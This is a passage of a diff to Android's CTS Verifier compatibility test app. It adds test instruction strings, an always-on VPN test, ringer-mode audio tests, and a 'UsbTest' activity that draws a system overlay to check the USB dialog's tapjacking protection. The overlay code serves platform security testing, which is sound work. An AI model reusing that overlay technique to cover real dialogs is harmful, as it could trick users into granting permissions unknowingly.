+ <string name="ringer_mode_tests">Ringer Mode Tests</string>
+ <string name="ringer_mode_info">This test checks that Audio manager functionality that requires
+ particular ringer mode states works properly.
+ </string>
+ <string name="ringer_mode_pass_test">These tests are handled by CTS.</string>
+ <string name="test_sound_effects">Test sound effects</string>
+ <string name="test_vibrate_notification">Test vibrate notification</string>
+ <string name="test_vibrate_ringer">Test vibrate ringer</string>
+ <string name="test_access_ringer_mode">Test access ringer mode</string>
+ <string name="test_ringer_mode_policy_access">Test ringer mode policy access</string>
+ <string name="test_volume_dnd_affected_stream">Test volume change</string>
+ <string name="test_mute_dnd_affected_streams">Test mute streams</string>
+ <string name="test_ringer_manager">Test RingtoneManager</string>
+ <string name="enable_sound_effects">Please enable sound effects in Sound settings.</string>
+
<string name="attention_ready">I\'m done</string>
+ <string name="attention_filter_any">Please enable \"Do not disturb\" by tapping the Quick Settings tile.</string>
<string name="attention_filter_all">Please disable \"Do not disturb\" by tapping the Quick Settings tile.</string>
<string name="attention_filter_priority">Please select \"Priority only\" in the dialog that appears
when you tap the \"Do not disturb\" tile in Quick Settings, and customize the setting to allow messages from
starred contacts only by tapping "More settings".</string>
+ <string name="attention_filter_alarms">Please select \"Alarms only\" in the dialog that appears
+ when you tap the \"Do not disturb\" tile in Quick Settings.</string>
<string name="attention_filter_none">Please select \"Total silence\" in the dialog that appears
when you tap the \"Do not disturb\" tile in Quick Settings.</string>
<string name="attention_create_contacts">Create contacts for notification annotations.</string>
@@ -1544,6 +1580,8 @@
under Apps > Gear Icon > Default > Notification Assistant and return here.</string>
<string name="nls_enable_service">Please enable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
+ <string name="nls_cannot_enable_service">Please make sure you cannot enable
+ \"Notification Listener for CTS Verifier\" and return here.</string>
<string name="nls_disable_service">Please disable \"Notification Listener for CTS Verifier\"
under Apps > Gear Icon > Special Access > Notification Access and return here.</string>
<string name="nls_start_settings">Launch Settings</string>
@@ -1573,10 +1611,11 @@
<string name="nas_note_missed_enqueued">Check that notification was not enqueued.</string>
<string name="cp_test">Condition Provider test</string>
<string name="cp_service_name">Condition Provider for CTS Verifier</string>
- <string name="cp_info">This test checks that a ConditionProviderService can be enabled
+ <string name="cp_info">This test checks that on non-low ram a ConditionProviderService can be enabled
and disabled, and that once enabled the service is able to create, query, edit, and delete
- automatic zen rules.
+ automatic zen rules. On low ram devices condition providers should not be bound.
</string>
+ <string name="cp_cannot_enable_service">Please make sure you cannot enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_enable_service">Please enable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_disable_service">Please disable \"CTS Verifier\" under Do Not Disturb access and return here.</string>
<string name="cp_start_settings">Launch Settings</string>
@@ -1697,7 +1736,7 @@
2. If \'Cts Verifier\' is not allowed to install apps, a warning dialog will appear
blocking the install. In this case go to step 3, else skip to step 4.\n
3. Allow \'Cts Verifier\' to install apps. Return to package installer.\n
- 4. Accept the package and verify that it installs.
+ 4. Accept the installation and verify that it succeeds (no error message is displayed).
</string>
<string name="provisioning_byod_nonmarket_deny">Disable non-market apps</string>
@@ -1762,6 +1801,66 @@
<string name="provisioning_byod_lockscreen_bound_key">Lockscreen-bound key test</string>
<string name="provisioning_byod_fingerprint_bound_key">Fingerprint-bound key test</string>
<string name="provisioning_byod_vpn">VPN test</string>
+ <string name="provisioning_byod_always_on_vpn">Always-on VPN Settings</string>
+ <string name="provisioning_byod_always_on_vpn_info">
+ In this test, you\'ll verify that the Settings UI for always-on VPN is correct for different
+ VPN apps.
+ </string>
+ <string name="provisioning_byod_always_on_vpn_instruction">
+ In this test, you\'ll verify the Settings UI for always-on VPN for different VPN apps.
+ You should have received three VPN app apks with this CTS Verifier package.
+ They\'re named in the form of \"CtsVpnFirewallApp*.apk\".\n
+
+ 1. Before the test, make sure CtsVpnFirewallApp isn\'t installed on your device. You can
+ uninstall either by UI, or by\n
+ \"adb uninstall com.android.cts.vpnfirewall\"\n
+
+ 2. Install the first test app, by running\n
+ \"adb install /path/to/CtsVpnFirewallAppApi23.apk\"\n
+
+ 3. Tap \"Prepare VPN\" button below and consent to the VPN connection.\n
+
+ 4. Finish all three test cases listed below.\n
+
+ 5. Repeat step 1 to remove CtsVpnFirewallApp.
+ </string>
+ <string name="provisioning_byod_always_on_vpn_prepare_button">Prepare VPN</string>
+ <string name="provisioning_byod_always_on_vpn_vpn_not_found_note">
+ Can\'t find VPN app. Did you install it correctly?
+ </string>
+ <string name="provisioning_byod_always_on_vpn_api23">VPN app targeting SDK 23</string>
+ <string name="provisioning_byod_always_on_vpn_api23_instruction">
+ 1. Re-install CtsVpnFirewallAppApi23.apk (skip this if you already have the correct version
+ installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppApi23.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+ and disabled.\n
+ </string>
+ <string name="provisioning_byod_always_on_vpn_api24">VPN app targeting SDK 24</string>
+ <string name="provisioning_byod_always_on_vpn_api24_instruction">
+ 1. Re-install CtsVpnFirewallAppApi24.apk (skip this if you already have the correct version
+ installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppApi24.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm\n
+ 4.1. \"Always-on VPN\" switch is enabled and in off position\n
+ 4.2. \"Block connections without VPN\" switch is disabled and in off position\n
+ 4.3. \"Block connections without VPN\" becomes enabled once the \"Always-on VPN\" switch
+ is turned on\n
+ </string>
+ <string name="provisioning_byod_always_on_vpn_not_always_on">VPN app with opt-out</string>
+ <string name="provisioning_byod_always_on_vpn_not_always_on_instruction">
+ 1. Re-install CtsVpnFirewallAppNotAlwaysOn.apk (skip this if you already have the correct
+ version installed):\n
+ \"adb install -r /path/to/CtsVpnFirewallAppNotAlwaysOn.apk\"\n
+ 2. Tap \"Go\" button below to go to the VPN settings page.\n
+ 3. Open configuration details page for CtsVpnFirewallApp.\n
+ 4. Confirm the \"Always-on VPN\" and \"Block connections without VPN\" switches are both off
+ and disabled.\n
+ </string>
<string name="provisioning_byod_select_work_challenge">Select work lock test</string>
<string name="provisioning_byod_select_work_challenge_description">
This test verifies that a work lock can be chosen.\n
@@ -1797,7 +1896,8 @@
This test verifies that if a work profile is locked with a separate password, Recents views
for applications in the work profile are redacted.\n
Some devices may not lock as soon as the screen is turned off by default. On such devices,
- use the button below when requested to lock the work profile.
+ use the button below when requested to lock the work profile. Please skip these tests if
+ "Recents" is absent.
</string>
<string name="provisioning_byod_recents_lock_now">Lock now</string>
@@ -1919,7 +2019,7 @@
<string name="pca_info">This tests whether or not OpenGL projection works.\n
You should see two "tumbling cubes." Tapping the screen should cause the cubes to explode.</string>
<string name="pca_test">Projection Cube Test</string>
- <string name="pwa_info">This tests whether or displaying widets and keyfocus navigation works.\n
+ <string name="pwa_info">This tests whether or displaying widgets and keyfocus navigation works.\n
You should see four buttons on the bottom of the screen.\n
Pressing the "up" and "down" buttons should highlight different buttons.\n
Furthermore, the highlight should disappear when any button is touched, and the touched button should behave as usual.\n</string>
@@ -1958,7 +2058,9 @@
<string name="device_admin_keyguard_disable_camera_instruction">
Please press the Go button to lock the screen. Then try to open the camera
from the lower right corner of the screen. Expected result is you cannot
- open the camera from lock screen and it will ask for password instead.
+ open the camera from lock screen and it will ask for password instead.\n
+ Also, it shouldn\'t be possible to open the camera on the lockscreen by
+ any other device specific gesture (such as double press on power button).
</string>
<string name="device_admin_disable_notifications">Disable notifications</string>
<string name="device_admin_disable_notifications_instruction">
@@ -2137,6 +2239,7 @@
Verify that the notification is badged (see sample badge below). Then mark this test accordingly.
</string>
<string name="provisioning_byod_notification_title">This is a notification</string>
+ <string name="provisioning_byod_notification_public_title">Contents hidden by policy</string>
<string name="provisioning_byod_disallow_apps_control">Disallow apps control</string>
<string name="provisioning_byod_disallow_apps_control_info">
@@ -2463,7 +2566,9 @@
Please do the following:\n
1) Open and fully expand Quick Settings.\n
2) Verify that at the bottom of Quick Settings, you are not told the device is managed.\n
- 3) Close Quick Settings.
+ 3) Close Quick Settings.\n
+ \n
+ If this device does not have quick settings, please skip this test and mark it passing
</string>
<string name="enterprise_privacy_keyguard_negative">Keyguard disclosure</string>
<string name="enterprise_privacy_keyguard_negative_info">
@@ -2893,9 +2998,9 @@
<string name="disallow_outgoing_beam">Disallow outgoing beam</string>
<string name="disallow_outgoing_beam_action">Switching on android beam</string>
<string name="disallow_remove_user">Disallow remove user</string>
- <string name="disallow_remove_user_action">Removing other users</string>
+ <string name="disallow_remove_user_action">Removing other users (please create a user and attempt to remove it to verify)</string>
<string name="disallow_remove_managed_profile">Disallow remove managed profile</string>
- <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\"). You may not be able to observe a support dialog in the latter case.</string>
+ <string name="disallow_remove_managed_profile_action">Removing the work profile. It shouldn\'t be possible neither from the Accounts screen nor the Device Administrators screen (after selecting the Device Administrator that corresponds to the badged version of \"CTS Verifier\")</string>
<string name="disallow_share_location">Disallow share location</string>
<string name="disallow_share_location_action">Turning on location sharing</string>
<string name="disallow_uninstall_apps">Disallow uninstall apps</string>
@@ -3201,7 +3306,7 @@
10) Tap the \"Learn more\" link.\n
11) Verify that a screen informing you what your managing organization can do is shown.\n
\n
- Use the Back button to return to this page.
+ Use the Back button to return to this page. If this device does not have quick settings, please skip this test and mark it passing.
</string>
<string name="enterprise_privacy_keyguard">Keyguard disclosure</string>
<string name="enterprise_privacy_keyguard_info">
@@ -3249,6 +3354,8 @@
9) Close the dialog.\n
10) Tap the right button below to disable network logging.\n
11) Verify that the notification disappeared.\n
+ \n
+ If this device does not have quick settings, please skip this test and mark it passing.
</string>
<string name="device_owner_enable_network_logging_button">Enable Network Logging</string>
<string name="device_owner_disable_network_logging_button">Disable Network Logging</string>
@@ -3838,8 +3945,8 @@
</string-array>
<!-- Strings for setting and restoring default dialer for voicemail tests -->
- <string name="voicemail_restore_default_dialer_description">(Optional) restore the default dialer setting</string>
- <string name="voicemail_restore_default_dialer_no_default_description">(Optional) restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
+ <string name="voicemail_restore_default_dialer_description">Restore the default dialer setting</string>
+ <string name="voicemail_restore_default_dialer_no_default_description">Restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
<string name="voicemail_restore_default_dialer_button">Restore the default dialer"</string>
<string name="voicemail_default_dialer_already_set">Default dialer already set</string>
<string name="voicemail_default_dialer_already_restored">Default dialer already restored</string>
diff --git a/apps/CtsVerifier/res/xml/accessory_filter.xml b/apps/CtsVerifier/res/xml/accessory_filter.xml
index 4a1d779..ee25a0e 100644
--- a/apps/CtsVerifier/res/xml/accessory_filter.xml
+++ b/apps/CtsVerifier/res/xml/accessory_filter.xml
@@ -14,5 +14,6 @@
limitations under the License.
-->
<resources>
- <usb-accessory />
+ <usb-accessory manufacturer="Android CTS" model="Android CTS test companion device"
+ version="2" />
</resources>
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
new file mode 100644
index 0000000..17319d6
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/UsbTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.admin.tapjacking;
+
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.widget.Button;
+import android.widget.Toast;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+public class UsbTest extends PassFailButtons.Activity {
+ private View mOverlay;
+ private Button mTriggerOverlayButton;
+
+ public static final String LOG_TAG = "UsbTest";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.tapjacking);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.usb_tapjacking_test,
+ R.string.usb_tapjacking_test_info, -1);
+
+ //initialise the escalate button and set a listener
+ mTriggerOverlayButton = (Button) findViewById(R.id.tapjacking_btn);
+ mTriggerOverlayButton.setEnabled(true);
+ mTriggerOverlayButton.setOnClickListener(new View.OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ if (!Settings.canDrawOverlays(v.getContext())) {
+ // show settings permission
+ startActivity(new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION));
+ }
+
+ if (!Settings.canDrawOverlays(v.getContext())) {
+ Toast.makeText(v.getContext(), R.string.usb_tapjacking_error_toast2,
+ Toast.LENGTH_LONG).show();
+ return;
+ }
+ showOverlay();
+ }
+ });
+ }
+
+ private void showOverlay() {
+ if (mOverlay != null)
+ return;
+
+ WindowManager windowManager = (WindowManager) getApplicationContext().
+ getSystemService(WINDOW_SERVICE);
+ WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams(
+ WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
+ WindowManager.LayoutParams.FLAG_FULLSCREEN
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
+ | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
+ | WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED
+ );
+ layoutParams.format = PixelFormat.TRANSLUCENT;
+ layoutParams.width = ViewGroup.LayoutParams.MATCH_PARENT;
+ layoutParams.height = ViewGroup.LayoutParams.WRAP_CONTENT;
+ layoutParams.x = 0;
+ layoutParams.y = dipToPx(-46);
+ layoutParams.gravity = Gravity.CENTER;
+ layoutParams.windowAnimations = 0;
+
+ mOverlay = View.inflate(getApplicationContext(), R.layout.usb_tapjacking_overlay,
+ null);
+ windowManager.addView(mOverlay, layoutParams);
+ }
+
+ private void hideOverlay() {
+ if (mOverlay != null) {
+ WindowManager windowManager = (WindowManager) getApplicationContext().getSystemService(
+ WINDOW_SERVICE);
+ windowManager.removeViewImmediate(mOverlay);
+ mOverlay = null;
+ }
+ }
+
+ private int dipToPx(int dip) {
+ return Math.round(TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, dip,
+ getResources().getDisplayMetrics()));
+ }
+
+ @Override
+ public void onStop() {
+ super.onStop();
+ hideOverlay();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
index 98d1365..c653d1d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
@@ -131,7 +131,7 @@
}
}
- log(String.format(" Threshold: %.3f, ignored:%d/%d (%%.2f)", threshold, ignored, N,
+ log(String.format(" Threshold: %.3f, ignored:%d/%d (%.2f)", threshold, ignored, N,
(double) ignored/(double)N));
status = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
new file mode 100644
index 0000000..7c807c2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -0,0 +1,1129 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+
+import static android.media.AudioManager.ADJUST_LOWER;
+import static android.media.AudioManager.ADJUST_RAISE;
+import static android.media.AudioManager.ADJUST_SAME;
+import static android.media.AudioManager.RINGER_MODE_NORMAL;
+import static android.media.AudioManager.RINGER_MODE_SILENT;
+import static android.media.AudioManager.RINGER_MODE_VIBRATE;
+import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
+import static android.media.AudioManager.VIBRATE_SETTING_OFF;
+import static android.media.AudioManager.VIBRATE_SETTING_ON;
+import static android.media.AudioManager.VIBRATE_SETTING_ONLY_SILENT;
+import static android.media.AudioManager.VIBRATE_TYPE_NOTIFICATION;
+import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.os.Bundle;
+import android.os.Vibrator;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.SoundEffectConstants;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.notifications.InteractiveVerifierActivity;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Contains tests that require {@link AudioManager#getRingerMode()} to be in a particular starting
+ * state. Only runs on {@link ActivityManager#isLowRamDevice()} devices that don't support
+ * {@link android.service.notification.ConditionProviderService}. Otherwise the tests live in
+ * AudioManagerTests in non-verifier cts.
+ */
+public class RingerModeActivity extends InteractiveVerifierActivity {
+ private static final String TAG = "RingerModeActivity";
+
+ private final static String PKG = "com.android.cts.verifier";
+ private final static long TIME_TO_PLAY = 2000;
+ private final static int MP3_TO_PLAY = R.raw.testmp3;
+ private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
+
+ private AudioManager mAudioManager;
+ private boolean mHasVibrator;
+ private boolean mUseFixedVolume;
+ private boolean mIsTelevision;
+ private boolean mIsSingleVolume;
+ private boolean mSkipRingerTests;
+
+ @Override
+ protected int getTitleResource() {
+ return R.string.ringer_mode_tests;
+ }
+
+ @Override
+ protected int getInstructionsResource() {
+ return R.string.ringer_mode_info;
+ }
+
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ Vibrator vibrator = (Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE);
+ mHasVibrator = (vibrator != null) && vibrator.hasVibrator();
+ mUseFixedVolume = mContext.getResources().getBoolean(
+ Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
+ PackageManager packageManager = mContext.getPackageManager();
+ mIsTelevision = packageManager != null
+ && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+ mIsSingleVolume = mContext.getResources().getBoolean(
+ Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
+ mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+ }
+
+ // Test Setup
+
+ @Override
+ protected List<InteractiveTestCase> createTestItems() {
+ List<InteractiveTestCase> tests = new ArrayList<>();
+ if (supportsConditionProviders()) {
+ tests.add(new PassTest());
+ return tests;
+ }
+ tests.add(new SetModeAllTest());
+ tests.add(new SetModeAlarmsTest());
+ tests.add(new TestAccessRingerModeDndOn());
+ tests.add(new TestVibrateNotificationDndOn());
+ tests.add(new TestVibrateRingerDndOn());
+ tests.add(new TestSetRingerModePolicyAccessDndOn());
+ tests.add(new TestVolumeDndAffectedStreamDndOn());
+ tests.add(new TestAdjustVolumeInAlarmsOnlyMode());
+
+ tests.add(new SetModeAllTest());
+ tests.add(new TestAccessRingerMode());
+ tests.add(new TestVibrateNotification());
+ tests.add(new TestVibrateRinger());
+ tests.add(new TestSetRingerModePolicyAccess());
+ tests.add(new TestVolumeDndAffectedStream());
+ tests.add(new TestVolume());
+ tests.add(new TestMuteStreams());
+ tests.add(new EnableSoundEffects());
+ tests.add(new TestSoundEffects());
+ return tests;
+ }
+
+ private boolean supportsConditionProviders() {
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ return !am.isLowRamDevice();
+ }
+
+ private int getVolumeDelta(int volume) {
+ return 1;
+ }
+
+ private boolean hasAudioOutput() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+ }
+
+ private void testStreamMuting(int stream) {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertTrue("Muting stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+ assertFalse("Unmuting stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertTrue("Toggling mute on stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertFalse("Toggling mute on stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.setStreamMute(stream, true);
+ assertTrue("Muting stream " + stream + " using setStreamMute failed",
+ mAudioManager.isStreamMute(stream));
+
+ // mute it three more times to verify the ref counting is gone.
+ mAudioManager.setStreamMute(stream, true);
+ mAudioManager.setStreamMute(stream, true);
+ mAudioManager.setStreamMute(stream, true);
+
+ mAudioManager.setStreamMute(stream, false);
+ assertFalse("Unmuting stream " + stream + " using setStreamMute failed.",
+ mAudioManager.isStreamMute(stream));
+ }
+
+ // Tests
+
+ protected class PassTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.ringer_mode_pass_test);
+ }
+
+ @Override
+ protected void test() {
+ status = PASS;
+ }
+ }
+
+
+ protected class SetModeAllTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.attention_filter_all);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ delay();
+ }
+ }
+
+ protected class SetModeAlarmsTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.attention_filter_alarms);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ delay();
+ }
+ }
+
+ protected class EnableSoundEffects extends InteractiveTestCase {
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.enable_sound_effects);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ delay();
+ }
+ }
+
+ protected class TestSoundEffects extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_sound_effects);
+ }
+
+ @Override
+ protected void test() {
+ // should hear sound after loadSoundEffects() called.
+ mAudioManager.loadSoundEffects();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ float volume = 13;
+ mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+
+ // won't hear sound after unloadSoundEffects() called();
+ mAudioManager.unloadSoundEffects();
+ mAudioManager.playSoundEffect(AudioManager.FX_KEY_CLICK);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateNotificationDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_notification);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateNotification extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_notification);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
